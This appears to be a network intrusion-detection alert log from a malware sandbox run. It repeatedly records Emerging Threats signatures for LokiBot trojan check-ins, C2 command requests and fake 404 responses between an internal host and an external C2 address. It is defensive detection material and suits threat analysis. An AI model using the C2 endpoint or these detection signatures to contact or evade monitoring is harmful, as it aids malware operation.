12/02/20-11:53:20.223713	TCP	2025381	ET TROJAN LokiBot Checkin	49812	80	192.168.2.6	45.144.3.234
12/02/20-11:53:20.223713	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49812	80	192.168.2.6	45.144.3.234
12/02/20-11:53:20.352597	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49812	45.144.3.234	192.168.2.6
12/02/20-11:53:20.813500	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49814	80	192.168.2.6	45.144.3.234
12/02/20-11:53:20.813500	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49814	80	192.168.2.6	45.144.3.234
12/02/20-11:53:20.813500	TCP	2025381	ET TROJAN LokiBot Checkin	49814	80	192.168.2.6	45.144.3.234
12/02/20-11:53:20.813500	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49814	80	192.168.2.6	45.144.3.234
12/02/20-11:53:20.939320	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49814	45.144.3.234	192.168.2.6
12/02/20-11:53:21.264205	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49815	80	192.168.2.6	45.144.3.234
12/02/20-11:53:21.264205	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49815	80	192.168.2.6	45.144.3.234
12/02/20-11:53:21.264205	TCP	2025381	ET TROJAN LokiBot Checkin	49815	80	192.168.2.6	45.144.3.234
12/02/20-11:53:21.264205	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49815	80	192.168.2.6	45.144.3.234
12/02/20-11:53:21.393950	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49815	45.144.3.234	192.168.2.6
12/02/20-11:53:22.027796	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49817	80	192.168.2.6	45.144.3.234
12/02/20-11:53:22.027796	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49817	80	192.168.2.6	45.144.3.234
12/02/20-11:53:22.027796	TCP	2025381	ET TROJAN LokiBot Checkin	49817	80	192.168.2.6	45.144.3.234
12/02/20-11:53:22.027796	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49817	80	192.168.2.6	45.144.3.234
12/02/20-11:53:22.162085	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49817	45.144.3.234	192.168.2.6
12/02/20-11:53:23.193450	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49818	80	192.168.2.6	45.144.3.234
12/02/20-11:53:23.193450	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49818	80	192.168.2.6	45.144.3.234
12/02/20-11:53:23.193450	TCP	2025381	ET TROJAN LokiBot Checkin	49818	80	192.168.2.6	45.144.3.234
12/02/20-11:53:23.193450	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49818	80	192.168.2.6	45.144.3.234
12/02/20-11:53:23.321213	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49818	45.144.3.234	192.168.2.6
12/02/20-11:53:23.601425	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49820	80	192.168.2.6	45.144.3.234
12/02/20-11:53:23.601425	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49820	80	192.168.2.6	45.144.3.234
12/02/20-11:53:23.601425	TCP	2025381	ET TROJAN LokiBot Checkin	49820	80	192.168.2.6	45.144.3.234
12/02/20-11:53:23.601425	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49820	80	192.168.2.6	45.144.3.234
12/02/20-11:53:23.731802	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49820	45.144.3.234	192.168.2.6
12/02/20-11:53:23.968586	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49821	80	192.168.2.6	45.144.3.234
12/02/20-11:53:23.968586	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49821	80	192.168.2.6	45.144.3.234
12/02/20-11:53:23.968586	TCP	2025381	ET TROJAN LokiBot Checkin	49821	80	192.168.2.6	45.144.3.234
12/02/20-11:53:23.968586	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49821	80	192.168.2.6	45.144.3.234
12/02/20-11:53:24.096741	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49821	45.144.3.234	192.168.2.6
12/02/20-11:53:24.405829	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49822	80	192.168.2.6	45.144.3.234
12/02/20-11:53:24.405829	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49822	80	192.168.2.6	45.144.3.234
12/02/20-11:53:24.405829	TCP	2025381	ET TROJAN LokiBot Checkin	49822	80	192.168.2.6	45.144.3.234
12/02/20-11:53:24.405829	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49822	80	192.168.2.6	45.144.3.234
12/02/20-11:53:24.532400	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49822	45.144.3.234	192.168.2.6
12/02/20-11:53:24.836771	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49824	80	192.168.2.6	45.144.3.234
12/02/20-11:53:24.836771	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49824	80	192.168.2.6	45.144.3.234
12/02/20-11:53:24.836771	TCP	2025381	ET TROJAN LokiBot Checkin	49824	80	192.168.2.6	45.144.3.234
12/02/20-11:53:24.836771	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49824	80	192.168.2.6	45.144.3.234
12/02/20-11:53:24.964977	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49824	45.144.3.234	192.168.2.6
12/02/20-11:53:25.252018	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49825	80	192.168.2.6	45.144.3.234
12/02/20-11:53:25.252018	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49825	80	192.168.2.6	45.144.3.234
12/02/20-11:53:25.252018	TCP	2025381	ET TROJAN LokiBot Checkin	49825	80	192.168.2.6	45.144.3.234
12/02/20-11:53:25.252018	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49825	80	192.168.2.6	45.144.3.234
12/02/20-11:53:25.382786	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49825	45.144.3.234	192.168.2.6
12/02/20-11:53:25.628464	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49826	80	192.168.2.6	45.144.3.234
12/02/20-11:53:25.628464	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49826	80	192.168.2.6	45.144.3.234
12/02/20-11:53:25.628464	TCP	2025381	ET TROJAN LokiBot Checkin	49826	80	192.168.2.6	45.144.3.234
12/02/20-11:53:25.628464	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49826	80	192.168.2.6	45.144.3.234
12/02/20-11:53:25.760842	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49826	45.144.3.234	192.168.2.6
12/02/20-11:53:26.033210	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49828	80	192.168.2.6	45.144.3.234
12/02/20-11:53:26.033210	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49828	80	192.168.2.6	45.144.3.234
12/02/20-11:53:26.033210	TCP	2025381	ET TROJAN LokiBot Checkin	49828	80	192.168.2.6	45.144.3.234
12/02/20-11:53:26.033210	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49828	80	192.168.2.6	45.144.3.234
12/02/20-11:53:26.161588	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49828	45.144.3.234	192.168.2.6
12/02/20-11:53:26.444756	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49829	80	192.168.2.6	45.144.3.234
12/02/20-11:53:26.444756	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49829	80	192.168.2.6	45.144.3.234
12/02/20-11:53:26.444756	TCP	2025381	ET TROJAN LokiBot Checkin	49829	80	192.168.2.6	45.144.3.234
12/02/20-11:53:26.444756	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49829	80	192.168.2.6	45.144.3.234
12/02/20-11:53:26.583801	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49829	45.144.3.234	192.168.2.6
12/02/20-11:53:26.882936	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49830	80	192.168.2.6	45.144.3.234
12/02/20-11:53:26.882936	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49830	80	192.168.2.6	45.144.3.234
12/02/20-11:53:26.882936	TCP	2025381	ET TROJAN LokiBot Checkin	49830	80	192.168.2.6	45.144.3.234
12/02/20-11:53:26.882936	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49830	80	192.168.2.6	45.144.3.234
12/02/20-11:53:27.009886	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49830	45.144.3.234	192.168.2.6
12/02/20-11:53:27.289891	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49832	80	192.168.2.6	45.144.3.234
12/02/20-11:53:27.289891	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49832	80	192.168.2.6	45.144.3.234
12/02/20-11:53:27.289891	TCP	2025381	ET TROJAN LokiBot Checkin	49832	80	192.168.2.6	45.144.3.234
12/02/20-11:53:27.289891	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49832	80	192.168.2.6	45.144.3.234
12/02/20-11:53:27.425017	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49832	45.144.3.234	192.168.2.6
12/02/20-11:53:27.719155	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49833	80	192.168.2.6	45.144.3.234
12/02/20-11:53:27.719155	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49833	80	192.168.2.6	45.144.3.234
12/02/20-11:53:27.719155	TCP	2025381	ET TROJAN LokiBot Checkin	49833	80	192.168.2.6	45.144.3.234
12/02/20-11:53:27.719155	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49833	80	192.168.2.6	45.144.3.234
12/02/20-11:53:27.845240	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49833	45.144.3.234	192.168.2.6
12/02/20-11:53:28.159277	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49835	80	192.168.2.6	45.144.3.234
12/02/20-11:53:28.159277	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49835	80	192.168.2.6	45.144.3.234
12/02/20-11:53:28.159277	TCP	2025381	ET TROJAN LokiBot Checkin	49835	80	192.168.2.6	45.144.3.234
12/02/20-11:53:28.159277	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49835	80	192.168.2.6	45.144.3.234
12/02/20-11:53:28.285478	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49835	45.144.3.234	192.168.2.6
12/02/20-11:53:28.578865	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49837	80	192.168.2.6	45.144.3.234
12/02/20-11:53:28.578865	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49837	80	192.168.2.6	45.144.3.234
12/02/20-11:53:28.578865	TCP	2025381	ET TROJAN LokiBot Checkin	49837	80	192.168.2.6	45.144.3.234
12/02/20-11:53:28.578865	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49837	80	192.168.2.6	45.144.3.234
12/02/20-11:53:28.707381	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49837	45.144.3.234	192.168.2.6
12/02/20-11:53:28.995226	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49838	80	192.168.2.6	45.144.3.234
12/02/20-11:53:28.995226	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49838	80	192.168.2.6	45.144.3.234
12/02/20-11:53:28.995226	TCP	2025381	ET TROJAN LokiBot Checkin	49838	80	192.168.2.6	45.144.3.234
12/02/20-11:53:28.995226	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49838	80	192.168.2.6	45.144.3.234
12/02/20-11:53:29.124566	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49838	45.144.3.234	192.168.2.6
12/02/20-11:53:29.419859	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49840	80	192.168.2.6	45.144.3.234
12/02/20-11:53:29.419859	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49840	80	192.168.2.6	45.144.3.234
12/02/20-11:53:29.419859	TCP	2025381	ET TROJAN LokiBot Checkin	49840	80	192.168.2.6	45.144.3.234
12/02/20-11:53:29.419859	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49840	80	192.168.2.6	45.144.3.234
12/02/20-11:53:29.546130	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49840	45.144.3.234	192.168.2.6
12/02/20-11:53:29.835346	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49841	80	192.168.2.6	45.144.3.234
12/02/20-11:53:29.835346	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49841	80	192.168.2.6	45.144.3.234
12/02/20-11:53:29.835346	TCP	2025381	ET TROJAN LokiBot Checkin	49841	80	192.168.2.6	45.144.3.234
12/02/20-11:53:29.835346	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49841	80	192.168.2.6	45.144.3.234
12/02/20-11:53:29.961003	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49841	45.144.3.234	192.168.2.6
12/02/20-11:53:30.245196	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49843	80	192.168.2.6	45.144.3.234
12/02/20-11:53:30.245196	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49843	80	192.168.2.6	45.144.3.234
12/02/20-11:53:30.245196	TCP	2025381	ET TROJAN LokiBot Checkin	49843	80	192.168.2.6	45.144.3.234
12/02/20-11:53:30.245196	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49843	80	192.168.2.6	45.144.3.234
12/02/20-11:53:30.371175	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49843	45.144.3.234	192.168.2.6
12/02/20-11:53:30.625790	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49844	80	192.168.2.6	45.144.3.234
12/02/20-11:53:30.625790	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49844	80	192.168.2.6	45.144.3.234
12/02/20-11:53:30.625790	TCP	2025381	ET TROJAN LokiBot Checkin	49844	80	192.168.2.6	45.144.3.234
12/02/20-11:53:30.625790	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49844	80	192.168.2.6	45.144.3.234
12/02/20-11:53:30.751743	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49844	45.144.3.234	192.168.2.6
12/02/20-11:53:31.037565	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49845	80	192.168.2.6	45.144.3.234
12/02/20-11:53:31.037565	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49845	80	192.168.2.6	45.144.3.234
12/02/20-11:53:31.037565	TCP	2025381	ET TROJAN LokiBot Checkin	49845	80	192.168.2.6	45.144.3.234
12/02/20-11:53:31.037565	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49845	80	192.168.2.6	45.144.3.234
12/02/20-11:53:31.164427	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49845	45.144.3.234	192.168.2.6
12/02/20-11:53:31.503457	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49846	80	192.168.2.6	45.144.3.234
12/02/20-11:53:31.503457	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49846	80	192.168.2.6	45.144.3.234
12/02/20-11:53:31.503457	TCP	2025381	ET TROJAN LokiBot Checkin	49846	80	192.168.2.6	45.144.3.234
12/02/20-11:53:31.503457	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49846	80	192.168.2.6	45.144.3.234
12/02/20-11:53:31.630879	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49846	45.144.3.234	192.168.2.6
12/02/20-11:53:31.875175	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49847	80	192.168.2.6	45.144.3.234
12/02/20-11:53:31.875175	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49847	80	192.168.2.6	45.144.3.234
12/02/20-11:53:31.875175	TCP	2025381	ET TROJAN LokiBot Checkin	49847	80	192.168.2.6	45.144.3.234
12/02/20-11:53:31.875175	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49847	80	192.168.2.6	45.144.3.234
12/02/20-11:53:32.010010	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49847	45.144.3.234	192.168.2.6
12/02/20-11:53:32.306006	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49848	80	192.168.2.6	45.144.3.234
12/02/20-11:53:32.306006	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49848	80	192.168.2.6	45.144.3.234
12/02/20-11:53:32.306006	TCP	2025381	ET TROJAN LokiBot Checkin	49848	80	192.168.2.6	45.144.3.234
12/02/20-11:53:32.306006	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49848	80	192.168.2.6	45.144.3.234
12/02/20-11:53:32.430725	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49848	45.144.3.234	192.168.2.6
12/02/20-11:53:32.677638	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49849	80	192.168.2.6	45.144.3.234
12/02/20-11:53:32.677638	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49849	80	192.168.2.6	45.144.3.234
12/02/20-11:53:32.677638	TCP	2025381	ET TROJAN LokiBot Checkin	49849	80	192.168.2.6	45.144.3.234
12/02/20-11:53:32.677638	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49849	80	192.168.2.6	45.144.3.234
12/02/20-11:53:32.804539	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49849	45.144.3.234	192.168.2.6
12/02/20-11:53:33.088547	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49850	80	192.168.2.6	45.144.3.234
12/02/20-11:53:33.088547	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49850	80	192.168.2.6	45.144.3.234
12/02/20-11:53:33.088547	TCP	2025381	ET TROJAN LokiBot Checkin	49850	80	192.168.2.6	45.144.3.234
12/02/20-11:53:33.088547	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49850	80	192.168.2.6	45.144.3.234
12/02/20-11:53:33.217117	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49850	45.144.3.234	192.168.2.6
12/02/20-11:53:33.527613	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49851	80	192.168.2.6	45.144.3.234
12/02/20-11:53:33.527613	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49851	80	192.168.2.6	45.144.3.234
12/02/20-11:53:33.527613	TCP	2025381	ET TROJAN LokiBot Checkin	49851	80	192.168.2.6	45.144.3.234
12/02/20-11:53:33.527613	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49851	80	192.168.2.6	45.144.3.234
12/02/20-11:53:33.653286	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49851	45.144.3.234	192.168.2.6
12/02/20-11:53:33.937055	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49853	80	192.168.2.6	45.144.3.234
12/02/20-11:53:33.937055	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49853	80	192.168.2.6	45.144.3.234
12/02/20-11:53:33.937055	TCP	2025381	ET TROJAN LokiBot Checkin	49853	80	192.168.2.6	45.144.3.234
12/02/20-11:53:33.937055	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49853	80	192.168.2.6	45.144.3.234
12/02/20-11:53:34.063106	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49853	45.144.3.234	192.168.2.6
12/02/20-11:53:34.366690	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49854	80	192.168.2.6	45.144.3.234
12/02/20-11:53:34.366690	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49854	80	192.168.2.6	45.144.3.234
12/02/20-11:53:34.366690	TCP	2025381	ET TROJAN LokiBot Checkin	49854	80	192.168.2.6	45.144.3.234
12/02/20-11:53:34.366690	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49854	80	192.168.2.6	45.144.3.234
12/02/20-11:53:34.511688	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49854	45.144.3.234	192.168.2.6
12/02/20-11:53:34.808234	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49855	80	192.168.2.6	45.144.3.234
12/02/20-11:53:34.808234	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49855	80	192.168.2.6	45.144.3.234
12/02/20-11:53:34.808234	TCP	2025381	ET TROJAN LokiBot Checkin	49855	80	192.168.2.6	45.144.3.234
12/02/20-11:53:34.808234	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49855	80	192.168.2.6	45.144.3.234
12/02/20-11:53:34.935148	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49855	45.144.3.234	192.168.2.6
12/02/20-11:53:35.232013	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49856	80	192.168.2.6	45.144.3.234
12/02/20-11:53:35.232013	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49856	80	192.168.2.6	45.144.3.234
12/02/20-11:53:35.232013	TCP	2025381	ET TROJAN LokiBot Checkin	49856	80	192.168.2.6	45.144.3.234
12/02/20-11:53:35.232013	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49856	80	192.168.2.6	45.144.3.234
12/02/20-11:53:35.356287	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49856	45.144.3.234	192.168.2.6
12/02/20-11:53:35.626805	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49857	80	192.168.2.6	45.144.3.234
12/02/20-11:53:35.626805	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49857	80	192.168.2.6	45.144.3.234
12/02/20-11:53:35.626805	TCP	2025381	ET TROJAN LokiBot Checkin	49857	80	192.168.2.6	45.144.3.234
12/02/20-11:53:35.626805	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49857	80	192.168.2.6	45.144.3.234
12/02/20-11:53:35.766350	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49857	45.144.3.234	192.168.2.6
12/02/20-11:53:36.022090	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49858	80	192.168.2.6	45.144.3.234
12/02/20-11:53:36.022090	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49858	80	192.168.2.6	45.144.3.234
12/02/20-11:53:36.022090	TCP	2025381	ET TROJAN LokiBot Checkin	49858	80	192.168.2.6	45.144.3.234
12/02/20-11:53:36.022090	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49858	80	192.168.2.6	45.144.3.234
12/02/20-11:53:36.150350	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49858	45.144.3.234	192.168.2.6
12/02/20-11:53:36.435768	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49859	80	192.168.2.6	45.144.3.234
12/02/20-11:53:36.435768	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49859	80	192.168.2.6	45.144.3.234
12/02/20-11:53:36.435768	TCP	2025381	ET TROJAN LokiBot Checkin	49859	80	192.168.2.6	45.144.3.234
12/02/20-11:53:36.435768	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49859	80	192.168.2.6	45.144.3.234
12/02/20-11:53:36.561460	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49859	45.144.3.234	192.168.2.6
12/02/20-11:53:36.878453	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49860	80	192.168.2.6	45.144.3.234
12/02/20-11:53:36.878453	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49860	80	192.168.2.6	45.144.3.234
12/02/20-11:53:36.878453	TCP	2025381	ET TROJAN LokiBot Checkin	49860	80	192.168.2.6	45.144.3.234
12/02/20-11:53:36.878453	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49860	80	192.168.2.6	45.144.3.234
12/02/20-11:53:37.006664	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49860	45.144.3.234	192.168.2.6
12/02/20-11:53:37.316130	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49861	80	192.168.2.6	45.144.3.234
12/02/20-11:53:37.316130	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49861	80	192.168.2.6	45.144.3.234
12/02/20-11:53:37.316130	TCP	2025381	ET TROJAN LokiBot Checkin	49861	80	192.168.2.6	45.144.3.234
12/02/20-11:53:37.316130	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49861	80	192.168.2.6	45.144.3.234
12/02/20-11:53:37.454833	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49861	45.144.3.234	192.168.2.6
12/02/20-11:53:37.757546	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49862	80	192.168.2.6	45.144.3.234
12/02/20-11:53:37.757546	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49862	80	192.168.2.6	45.144.3.234
12/02/20-11:53:37.757546	TCP	2025381	ET TROJAN LokiBot Checkin	49862	80	192.168.2.6	45.144.3.234
12/02/20-11:53:37.757546	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49862	80	192.168.2.6	45.144.3.234
12/02/20-11:53:37.885756	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49862	45.144.3.234	192.168.2.6
12/02/20-11:53:38.181313	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49863	80	192.168.2.6	45.144.3.234
12/02/20-11:53:38.181313	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49863	80	192.168.2.6	45.144.3.234
12/02/20-11:53:38.181313	TCP	2025381	ET TROJAN LokiBot Checkin	49863	80	192.168.2.6	45.144.3.234
12/02/20-11:53:38.181313	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49863	80	192.168.2.6	45.144.3.234
12/02/20-11:53:38.308756	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49863	45.144.3.234	192.168.2.6
12/02/20-11:53:38.602223	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49864	80	192.168.2.6	45.144.3.234
12/02/20-11:53:38.602223	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49864	80	192.168.2.6	45.144.3.234
12/02/20-11:53:38.602223	TCP	2025381	ET TROJAN LokiBot Checkin	49864	80	192.168.2.6	45.144.3.234
12/02/20-11:53:38.602223	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49864	80	192.168.2.6	45.144.3.234
12/02/20-11:53:38.728998	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49864	45.144.3.234	192.168.2.6
12/02/20-11:53:38.961339	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49866	80	192.168.2.6	45.144.3.234
12/02/20-11:53:38.961339	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49866	80	192.168.2.6	45.144.3.234
12/02/20-11:53:38.961339	TCP	2025381	ET TROJAN LokiBot Checkin	49866	80	192.168.2.6	45.144.3.234
12/02/20-11:53:38.961339	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49866	80	192.168.2.6	45.144.3.234
12/02/20-11:53:39.091333	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49866	45.144.3.234	192.168.2.6
12/02/20-11:53:39.390389	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49867	80	192.168.2.6	45.144.3.234
12/02/20-11:53:39.390389	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49867	80	192.168.2.6	45.144.3.234
12/02/20-11:53:39.390389	TCP	2025381	ET TROJAN LokiBot Checkin	49867	80	192.168.2.6	45.144.3.234
12/02/20-11:53:39.390389	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49867	80	192.168.2.6	45.144.3.234
12/02/20-11:53:39.517182	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49867	45.144.3.234	192.168.2.6
12/02/20-11:53:39.815212	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49869	80	192.168.2.6	45.144.3.234
12/02/20-11:53:39.815212	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49869	80	192.168.2.6	45.144.3.234
